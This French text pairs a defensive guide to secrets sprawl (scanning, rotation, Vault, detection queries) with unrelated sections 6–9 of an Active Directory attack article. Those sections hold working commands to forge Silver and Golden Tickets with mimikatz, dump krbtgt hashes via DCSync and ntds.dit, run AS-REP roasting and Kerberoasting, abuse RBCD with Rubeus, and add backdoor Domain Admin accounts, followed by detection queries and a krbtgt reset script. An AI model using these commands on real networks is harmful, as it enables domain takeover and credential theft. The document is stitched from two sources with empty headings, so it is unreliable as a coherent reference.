Secrets sprawl : collecte et rotation (Git, images, conteneurs)

Résumé exécutif

La prolifération des secrets (tokens, clés API, certificats, mots de passe) dans les dépôts Git, images conteneurs, scripts CI/CD ou artefacts cloud constitue une menace majeure : un secret exposé conduit souvent à une compromission rapide. Le « secrets sprawl » résulte de pratiques héritées (commits non nettoyés, variables d’environnement partagées, fichiers de configuration copiés) et de l’expansion des plateformes (SaaS, microservices, pipelines). Cet article examine les surfaces de fuite (Git, images, conteneurs, logs, tickets), les techniques de collecte adverses, puis propose une stratégie intégrée de scanning à la source, de rotation automatisée, de gestion zero-trust des secrets et de gouvernance. Objectif : offrir aux équipes DevSecOps, AppSec et SecOps un plan opérationnel pour réduire drastiquement le risque lié aux secrets.

Cartographie du secrets sprawl

Surfaces principales

1. Dépôts Git : fichiers sources, historique, tags, branches, PR, gists. 2. Pipelines CI/CD : variables d’environnement, logs, artefacts, caches. 3. Images conteneurs : fichiers .env, couches Docker, history. 4. Infrastructure as Code : Terraform, CloudFormation, Ansible vars. 5. SaaS & tickets : Jira, Slack, Confluence, Google Docs. 6. Logs & monitorings : Stack traces contenant secrets. 7. Backups & snapshots : S3 buckets, snapshots non chiffrés. 8. Disques développeurs : VSCode settings, shell history.

Conséquences

• Compromission d’infrastructure (AWS keys).
• Accès données clients (DB credentials).
• Mouvement latéral (OAuth tokens).
• Impact réglementaire (RGPD, PCI).

Techniques adverses (collecte)

• Git scraping (TruffleHog, GitRob).
• Docker Hub mining.
• OSINT sur gists, leaks.
• Pipeline compromise (logs).
• SaaS search API.
• Credential stuffing dans code.

Stratégie de réduction : principes clés

1. Inventaire et classification des secrets. 2. Scanning continu à la source (pre-commit, CI, dépôts). 3. Gestion centralisée et rotation (secrets manager). 4. Zero-trust secrets : distribution dynamique, ephemeral. 5. Gouvernance & formation. 6. Réponse & revocation.

Scanning à la source

Pre-commit hooks

• pre-commit framework.
• Outils : detect-secrets, gitleaks, git-secrets.
• Bloquer commit contenant pattern (AWS, OAuth).

CI/CD scanning

• Jobs gitleaks --config.
• Intégrations (GitHub Advanced Security/Secret Scanning, GitLab Secret Detection, Azure DevOps).

Monitoring dépôt central

• GitHub Enterprise secret scanning.
• GitLab -> secretdetection.
• Bitbucket -> Snyk integration.

repos:

repo: https://github.com/Yelp/detect-secrets

  rev: v1.4.0
  hooks:
  - id: detect-secrets
    args: ["--baseline", ".secrets.baseline"]

permissions:
  id-token: write
  contents: read
steps:
  - uses: actions/checkout@v3
  - name: Configure AWS credentials
    uses: aws-actions/configure-aws-credentials@v3
    with:
      role-to-assume: arn:aws:iam::123:role/GitHubOIDC
      aws-region: eu-west-1

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: disallow-secrets-in-env
spec:
  rules:
  - name: check-secret-env
    match:
      resources:
        kinds: [Pod]
    validate:
      message: "Secrets must not be defined inline"
      pattern:
        spec:
          containers:
          - name: ""
            =(env): !contains
              - value: ""

SecretAccessLogs
| where Principal != expected and TimeGenerated > ago(1h)

resource "awssecretsmanagersecret" "dbpassword" {
  name = "prod/db/password"
  recoverywindowindays = 7
}

resource "awssecretsmanagersecretrotation" "dbpasswordrotation" {
  secretid = awssecretsmanagersecret.dbpassword.id
  rotationlambdaarn = awslambdafunction.rotatedb.arn
  rotationrules {
    automaticallyafterdays = 30
  }
}

Observabilité

• CloudTrail GetSecretValue.
• Vault audit logs (/sys/audit).
• Splunk index vaultaudit.

SecretAccess
| where TimeGenerated > ago(1h)
| summarize count() by Principal, SecretName
| where count > 10 and Principal not in allowlist

Response automation (SOAR)

• Playbook SecretLeak -> rotate -> ticket -> notify -> purge commit.

Purge Git workflow

1. git filter-repo remove file. 2. Force push. 3. Invalidate caches (CI). 4. Communicate (Slack).

Education content

• Slide deck (risks).
• Hands-on lab (Vault).
• Checlist dev (no .env in repo).

DLP rules (ex Slack)

• Regex (AWS key).
• Block message, notify.

Metrics dashboard

• Secrets detected per repo.
• Rotation compliance.
• Secrets without owner.
• Time to remediation.

Governance board

• Monthly meeting: review metrics, incidents, roadmap.

Integration with identity

• JIT access -> secrets accessible via RBAC (Okta).

Cloud provider features

• AWS Config rule secretsmanager-scheduled-rotation-success-check.
• Azure Policy KeyVault Secrets Expiration.

Tools open source

• Sneakers (Snyk).
• Shhgit.
• Pastel for Slack detection.

Response scenario (exemple)

• Alert -> Slack.
• Platform rotates key.
• Dev purge commit.
• SOC vérifie CloudTrail.
• No abnormal use.
• Update KB.

Table top exercise

• Simulation d’un secret exfiltré (Slack).
• Chrono: detection -> rotation -> communication.

Roadmap 18 mois

• Q1: scanning complete.
• Q2: secret manager adoption.
• Q3: automation rotation.
• Q4: DLP SaaS.
• Q5: ML detection.
• Q6: Program maturity review.

Culture

• Slack bot SecretsGuard rappel.
• Recognition program.

Conclusion finale

Études de cas et scénarios

Cas 1 : clé AWS exposée dans GitHub public

Un développeur publie accidentellement un repository public contenant un fichier config.py avec une clé AWS ayant des privilèges AdministratorAccess. Un bot de scanning détecte la clé dans les 5 minutes, l’attaquant crée des instances EC2 pour miner de la cryptomonnaie et tente d’accéder à S3. L’alerte GitHub secret scanning est également envoyée aux mainteneurs.

Cas 2 : variables d’environnement leakées dans logs CI

Une pipeline GitLab exécute printenv pour debugging et redoute l’output. Le log contient un token Stripe et un mot de passe Postgres. Des ingénieurs téléchargent le log pour l’analyse, créant de multiples copies.

Cas 3 : secrets dans image conteneur

Un Dockerfile copie .env dans l’image et supprime file plus tard (RUN rm .env). Le secret reste dans la couche image. L’image est poussée sur Docker Hub. Un attaquant inspecte docker history et récupère le secret.

Cas 4 : documents collaboratifs

Une équipe partage un Google Doc contenant un token API. Le doc est accessible via lien (Anyone with link). L’URL fuite.

Approche zero-trust secrets : architecture cible

1. Identités solides : chaque workload (pod, fonction, VM) possède une identité forte (SPIFFE, IAM role). 2. Accès minimisé : policies basées sur attributs (Rego). 3. Secrets dynamiques : credentials générés à la volée (Vault dynamic DB creds). 4. Distribution éphémère : secrets injectés en mémoire seulement, pas sur disque. 5. Observabilité : logs d’accès en temps réel, analyse de comportements. 6. Rotation automatisée : triggered par TTL. 7. Révocation instantanée : kill leases.

Implémentation détaillée : HashiCorp Vault

• Auth methods :

SecretAccess
| extend hour = hourofday(TimeGenerated)
| summarize count() by Principal, hour
| join kind=inner (
    Baseline
) on Principal, hour
| where count > baseline2

• Dotfiles .bashhistory -> HISTCONTROL=ignorespace.
• Secrets dans .aws/credentials -> enforce aws-vault.
• 1Password CLI.
• GPG/age pour encryption local.

Outillage CLI

• doppler, chamber, aws-encryption-cli.
• Scripts vault login via OIDC.

Réponse rapide (workflow détaillé)

1. Alerte (secret détecté). 2. SOAR crée incident + assigne owner. 3. Owner valide (ex: AWS key). 4. Rotation via script. 5. Verifier logs (mauvaise utilisation). 6. Purger documentation/code. 7. Éduquer l’équipe. 8. Clôture avec rapport.

KPIs et reporting

• Nombre de secrets scannés.
• Taux de rotation à temps.
• Incidents secrets.
• Temps moyen de réponse.
• Couverture scanning (%).

Tableaux de bord (Power BI)

• Heatmap par équipe (incidents).
• Graph temps.
• Top secrets non utilisés.

Roadmap d’automatisation

• Intégrer scanning temps réel (webhooks).
• Étendre DLP (SaaS).
• ML -> scoring.
• Auto-rotation centralisée.

Culture & communication

• Newsletter "Secret Hygiene".
• Slack #ask-secrets.
• Hackdays (refactor).
• Feedback loop (survey).

Compliance

• ISO 27001 A.9.2, A.12.3.
• SOC2 CC6.1.
• PCI DSS Req 3.

Outils commerciaux

• GitGuardian, Nightfall, Spectral.
• SecretHub, StrongDM.

Conclusion additionnelle

Annexes spécialisées

Détail des politiques de rotation

| Secret | Fréquence rotation | Méthode | Automatisation | |--------|--------------------|---------|----------------| | Clés AWS IAM utilisateur | Immédiate si détecté, 60 jours sinon | AWS CLI create-access-key | Lambda EventBridge | | Credentials DB prod | 30 jours | Vault DB engine | Rotation automatique | | Clés API third-party | Suivre exigences fournisseurs (30-90 j) | API partner | Script CI | | Certificats TLS | 60 jours | ACME/Let’s Encrypt | Certbot, StepCA | | Tokens CI/CD | 7 jours (PAT), 1h (OIDC) | GitHub API | Workflow cron |

Intégration avec gestion des incidents

• Incident secret classifié Sev1 si secret production critique public.
• Playbook : rotation, communication, client impact.
• Post-incident : review guidelines, update scanning patterns.

Détection via network/DLP

• Inspect trafic sortant pour patterns AKIA, AIza.
• DLP filtrant upload vers sites non approuvés.
• CASB alert si token GitHub mentionné.

Automatisation GitOps

• Secrets chiffrés via SOPS (age).
• Clés stockées dans KMS.
• CI déchiffre à la volée (OIDC).
• Contrôles : PR require approval from security.

Observabilité pipeline Dev

• pre-commit stats (combien de secrets bloqués).
• Graph false positives vs true positives.
• Feedback aux équipes pour affiner baseline.

Sensibilisation renforcée

• Intégrer gestion des secrets dans onboarding dev.
• Checklist : configure aws-vault, direnv.
• Guides "comment utiliser Vault CLI".

Cas d’étude : pipeline OIDC

1. GitHub Actions job nécessite déploiement sur AWS. 2. Workflow reçoit token OIDC GitHub. 3. AWS IAM identity provider validant aud, sub. 4. Role GitHubDeployRole assume, permission restreinte. Pas de secrets statiques.

Cas d’étude : rotation automatique DB

• Vault DB engine provisionne creds Postgres TTL 15 min.
• Application utilise Vault Agent pour renouveler.
• En cas de compromission, secret expire.
• Logs Vault montrent usage; anomalies détectées.

Intégration aux workflows support

• Formulaires pour demander nouveaux secrets (justification).
• Approvals via ServiceNow.
• Expiration programmatique.

Stratégies de segmentation

• VPC/Network segmentation pour limiter impact.
• Security groups: secrets utilisables que depuis subnets.
• Firewall egress restreint.

Adoption progressive

• MVP: scanning + vault pour services critiques.
• Phase 2: adoption par toutes équipes.
• Phase 3: zero trust complet, automation.

Table top incident (exemple)

Scénario : un contrat bug bounty signale token Stripe exposé. Exercices : rotation, communication, analyse transactions, relation clients.

Data lineage

• Documenter chaînes de secrets.
• Identifier dépendances (app -> secret -> resource).
• Mise à jour lors de changements.

Outils complémentaires

• Akeyless, CyberArk Conjur.
• 1Password Secrets Automation.
• StrongDM (access).

Processus d’exceptions

• Documenter exceptions (ex: embedded device).
• Exiger plan de retrait.
• Review trimestrielle.

Observabilité cross-cloud

• Centraliser logs de Vault, AWS, Azure, GCP.
• Format standard (CEF).
• Use Data Lake pour analytics.

KPIs alignés business

• Réduction incidents secrets -> baisse risque financier.
• Temps d’onboarding dev (outil).

Alignement Zero Trust

• Policy decisions basées sur contexte (device, user, risk).
• Secrets accessibles via proxies authentifiés.

Roadmap technique détaillée

| Étape | Description | Livrables | |-------|-------------|-----------| | Audit initial | Scanner dépôts, images, SaaS | Rapport, inventaire | | Outils | Déployer pre-commit, CI scanning | Configuration partagée | | Secret manager | Choisir / déployer | Architecture, policies | | Pilot | Migrer 2 services | Playbooks, feedback | | Rollout | Étendre à toutes équipes | Dashboard KPIs | | Optimisation | Automation rotation, ML | Pipelines, alerting |

Impact sur conformité

• SOC2 CC6 : Access control -> secrets management.
• ISO 27001 A.12.6 -> Manage technical vulnerabilities.
• HIPAA -> confidentiality.

Documenter best practices par langage

• Python : utiliser os.environ, dynaconf, pas .env commit.
• Node.js : npm install dotenv -> .env dans .gitignore.
• Go : os.LookupEnv, viper.
• Java : Spring Config Server, Vault integration.

External threat intelligence

• Surveiller paste sites (Pastebin).
• Services comme GitGuardian Public Monitoring.

Monitoring dark web

• Providers scrutent leaks.
• Alertes -> rotation.

SRE & reliability

• Monitor impact rotations (downtime).
• Blue/green rotation (no downtime).

Dev feedback

• Survey sur outils (usabilité).
• Ajuster workflows (auto CLI).

Résilience & tests chaos

• Introduire rotation inattendue -> vérifier app.
• Chaos engineering secrets (Exp).

Communication externe

• En cas d’incident majeur, plan de communication.
• Transparence augmente confiance.

Conclusion complémentaire

La gestion rigoureuse des secrets, combinant détection, prévention, rotation et culture, réduit drastiquement la surface d’attaque. L’investissement continu dans des outils zero-trust et l’automatisation crée une défense adaptative contre les fuites de secrets.

La lutte contre le secrets sprawl est un marathon collectif : continuez à automatiser vos contrôles, à former vos équipes, à surveiller vos pipelines et à célébrer chaque réduction de dette de secrets. Cette discipline quotidienne construit une posture de confiance durable.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

7.2 Extraction du hash krbtgt

L'obtention du hash krbtgt nécessite généralement des privilèges d'administrateur de domaine ou l'accès physique/système à un contrôleur de domaine. Plusieurs techniques permettent cette extraction :

# DCSync du compte krbtgt
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt

# DCSync de tous les comptes (dump complet)
mimikatz # lsadump::dcsync /domain:domain.local /all /csv

# DCSync depuis Linux avec impacket
python3 secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Création d'une copie shadow avec ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp\ntds_backup" q q

# Extraction avec secretsdump (impacket)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# Extraction avec DSInternals (PowerShell)
$key = Get-BootKey -SystemHivePath 'C:\temp\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\temp\ntds.dit' -BootKey $key | 
    Where-Object {$_.SamAccountName -eq 'krbtgt'}

7.3 Forge et utilisation du Golden Ticket

# Golden Ticket basique (RC4)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ptt

# Golden Ticket avec AES256 (plus discret)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /aes256:krbtgt_aes256_key /ptt

# Golden Ticket avec durée personnalisée (10 ans)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /endin:5256000 /renewmax:5256000 /ptt

# Golden Ticket pour utilisateur fictif
kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /id:500 /groups:512,513,518,519,520 /ptt

# Exportation du ticket vers fichier
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /krbtgt:krbtgt_ntlm_hash /ticket:golden.kirbi

# Injection du ticket dans la session
mimikatz # kerberos::ptt golden.kirbi

# Vérification du ticket injecté
klist

# Utilisation du ticket pour accès DC
dir \\dc01.domain.local\C$
psexec.exe \\dc01.domain.local cmd

# Création de compte backdoor
net user backdoor P@ssw0rd! /add /domain
net group "Domain Admins" backdoor /add /domain

# DCSync pour maintenir la persistance
mimikatz # lsadump::dcsync /domain:domain.local /user:Administrator

7.4 Détection avancée des Golden Tickets

# Script de détection des anomalies Kerberos
# Recherche des authentifications sans événement TGT correspondant
$endTime = Get-Date
$startTime = $endTime.AddHours(-24)

$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=$startTime
} | Where-Object {
    $_.Properties[8].Value -eq 3 -and # Logon Type 3
    $_.Properties[9].Value -match 'Kerberos'
}

$tgtRequests = Get-WinEvent -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=$startTime
} | Group-Object {$_.Properties[0].Value} -AsHashTable

foreach ($logon in $logons) {
    $user = $logon.Properties[5].Value
    $time = $logon.TimeCreated
    
    if (-not $tgtRequests.ContainsKey($user)) {
        Write-Warning "Golden Ticket suspect: $user à $time (aucun TGT)"
    }
}

# Détection de tickets avec durée de vie anormale
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
    Where-Object {
        $ticketLifetime = $_.Properties[5].Value
        $ticketLifetime -gt 43200 # > 12 heures
    } | ForEach-Object {
        Write-Warning "Ticket avec durée anormale: $($_.Properties[0].Value)"
    }

8. Chaîne d'attaque complète : scénario réel

8.1 Scénario : De l'utilisateur standard au Domain Admin

Examinons une chaîne d'attaque complète illustrant comment un attaquant peut progresser depuis un compte utilisateur standard jusqu'à la compromission totale du domaine en exploitant les vulnérabilités Kerberos.

Phase 1 : Reconnaissance initiale (J+0, H+0)

# Compromission initiale : phishing avec accès VPN
# Énumération du domaine avec PowerView
Import-Module PowerView.ps1

# Identification du domaine et des DCs
Get-Domain
Get-DomainController

# Recherche de comptes sans préauthentification
Get-DomainUser -PreauthNotRequired | Select samaccountname,description

# Sortie : svc_reporting (compte de service legacy)

# Énumération des SPNs
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname

# Sortie : 
# - svc_sql : MSSQLSvc/SQL01.corp.local:1433
# - svc_web : HTTP/webapp.corp.local

Phase 2 : AS-REP Roasting (J+0, H+1)

# Extraction du hash AS-REP pour svc_reporting
.\Rubeus.exe asreproast /user:svc_reporting /format:hashcat /nowrap

# Hash obtenu : [email protected]:8a3c...

# Craquage avec Hashcat
hashcat -m 18200 asrep.hash rockyou.txt -r best64.rule

# Mot de passe craqué en 45 minutes : "Reporting2019!"

# Validation des accès
net use \\dc01.corp.local\IPC$ /user:corp\svc_reporting Reporting2019!

Phase 3 : Kerberoasting et compromission de service (J+0, H+2)

# Avec le compte svc_reporting, effectuer du Kerberoasting
.\Rubeus.exe kerberoast /user:svc_sql /nowrap

# Hash obtenu pour svc_sql (RC4)
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc/SQL01.corp.local:1433*$7f2a...

# Craquage (6 heures avec GPU)
hashcat -m 13100 tgs.hash rockyou.txt -r best64.rule

# Mot de passe : "SqlService123"

# Énumération des privilèges de svc_sql
Get-DomainUser svc_sql -Properties memberof

# Découverte : membre du groupe "SQL Admins" 
# Ce groupe a GenericAll sur le groupe "Server Operators"

Phase 4 : Élévation via délégation RBCD (J+0, H+8)

# Vérification des permissions avec svc_sql
Get-DomainObjectAcl -Identity "DC01$" | ? {
    $_.SecurityIdentifier -eq (Get-DomainUser svc_sql).objectsid
}

# Découverte : WriteProperty sur msDS-AllowedToActOnBehalfOfOtherIdentity

# Création d'un compte machine contrôlé
Import-Module Powermad
$password = ConvertTo-SecureString 'AttackerP@ss123!' -AsPlainText -Force
New-MachineAccount -MachineAccount EVILCOMPUTER -Password $password

# Configuration RBCD sur DC01
$ComputerSid = Get-DomainComputer EVILCOMPUTER -Properties objectsid | 
    Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}

# Exploitation S4U pour obtenir ticket Administrator vers DC01
.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:computerhash \
    /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /ptt

# Accès au DC comme Administrator
dir \\dc01.corp.local\C$

Phase 5 : Extraction krbtgt et Golden Ticket (J+0, H+10)

# DCSync depuis le DC compromis
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Hash krbtgt obtenu :
# NTLM: 8a3c5f6e9b2d1a4c7e8f9a0b1c2d3e4f
# AES256: 2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f...

# Obtention du SID du domaine
whoami /user
# S-1-5-21-1234567890-1234567890-1234567890

# Création du Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f... \
    /endin:5256000 /renewmax:5256000 /ptt

# Validation : accès total au domaine
net group "Domain Admins" /domain
psexec.exe \\dc01.corp.local cmd

# Établissement de persistance multiple
# 1. Création de compte backdoor
net user h4ck3r Sup3rS3cr3t! /add /domain
net group "Domain Admins" h4ck3r /add /domain

# 2. Modification de la GPO par défaut pour ajout de tâche planifiée
# 3. Création de SPN caché pour Kerberoasting personnel
# 4. Exportation de tous les hashes du domaine

8.2 Timeline et indicateurs de compromission

9. Architecture de détection et réponse

9.1 Stack de détection recommandée

Une détection efficace des attaques Kerberos nécessite une approche en profondeur combinant plusieurs technologies et méthodes.

# Détection AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count values(src_ip) as sources by user
| where count > 5
| table user, count, sources

# Détection Kerberoasting (multiples TGS-REQ avec RC4)
index=windows sourcetype=WinEventLog:Security EventCode=4769 Ticket_Encryption_Type=0x17
| stats dc(Service_Name) as unique_services count by src_ip user
| where unique_services > 10 OR count > 20

# Détection DCSync
index=windows sourcetype=WinEventLog:Security EventCode=4662 
    Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR 
    Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where user!="*$" AND user!="NT AUTHORITY\\SYSTEM"
| table _time, user, dest, Object_Name

# Détection Golden Ticket (authent sans TGT)
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 Authentication_Package=Kerberos
| join type=left user _time [
    search index=windows sourcetype=WinEventLog:Security EventCode=4768
    | eval time_window=_time
    | eval user_tgt=user
]
| where isnull(user_tgt)
| stats count by user, src_ip, dest

9.2 Playbook de réponse aux incidents

# Script de réponse d'urgence - Reset krbtgt
# À exécuter depuis un DC avec DA privileges

# Phase 1 : Collecte d'informations
$domain = Get-ADDomain
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber

Write-Host "[+] Domaine: $($domain.DNSRoot)"
Write-Host "[+] Dernier changement mot de passe krbtgt: $($krbtgt.PasswordLastSet)"
Write-Host "[+] Version clé actuelle: $($krbtgt.'msDS-KeyVersionNumber')"

# Phase 2 : Premier reset
Write-Host "[!] Premier reset du compte krbtgt..."
$newPassword = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword -Reset

Write-Host "[+] Premier reset effectué. Attendre 24h avant le second reset."
Write-Host "[!] Vérifier la réplication AD avant de continuer."

# Vérification de la réplication
repadmin /showrepl

# Phase 3 : Après 24h - Second reset
Write-Host "[!] Second reset du compte krbtgt..."
$newPassword2 = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword2 -Reset

Write-Host "[+] Reset krbtgt terminé. Tous les tickets Kerberos précédents sont invalidés."

# Phase 4 : Actions post-reset
Write-Host "[!] Actions recommandées:"
Write-Host "1. Forcer la reconnexion de tous les utilisateurs"
Write-Host "2. Redémarrer tous les services utilisant des comptes de service"
Write-Host "3. Vérifier les GPOs et objets AD suspects"
Write-Host "4. Auditer les comptes créés récemment"

# Audit rapide
Get-ADUser -Filter {Created -gt (Get-Date).AddDays(-7)} | 
    Select Name, Created, Enabled